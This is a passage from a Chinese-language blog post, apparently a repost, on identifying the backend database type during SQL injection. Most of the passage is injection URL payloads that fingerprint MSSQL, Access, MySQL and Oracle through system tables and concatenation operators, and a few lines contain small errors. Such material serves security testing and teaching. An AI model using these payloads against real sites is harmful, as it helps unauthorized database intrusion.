)>0 and 1=1
2、access数据库
http://127.0.0.1/test.php?id=1 and (select count(*) from msysobjects)>0 and 1=1
3、mysql数据库(mysql版本在5.0以上)
http://127.0.0.1/test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1
4、oracle数据库
http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1
三、通过各数据库特有的连接符判断数据库类型:
1、mssql数据库
http://127.0.0.1/test.php?id=1 and ‘1‘+ ‘1‘ = ‘11‘
2、mysql数据库
http://127.0.0.1/test.php?id=1 and ‘1‘+ ‘1‘ = ‘11‘
http://127.0.0.1/test.php?id=1 and CONCAT(‘1‘,‘1‘)=‘11‘
3、oracle数据库
http://127.0.0.1/test.php?id=1 and ‘1‘||‘1‘=‘11‘
http://127.0.0.1/test.php?id=1 andCONCAT(‘1‘,‘1‘)=‘11‘
sql注入过程中后台数据库类型的三种判断方式
标签:sql注入 安全测试 数据库类型判断
本条技术文章来源于互联网,如果无意侵犯您的权益请点击此处反馈版权投诉
本文系统来源:http://baiwuya2009.blog.51cto.com/4211642/1946358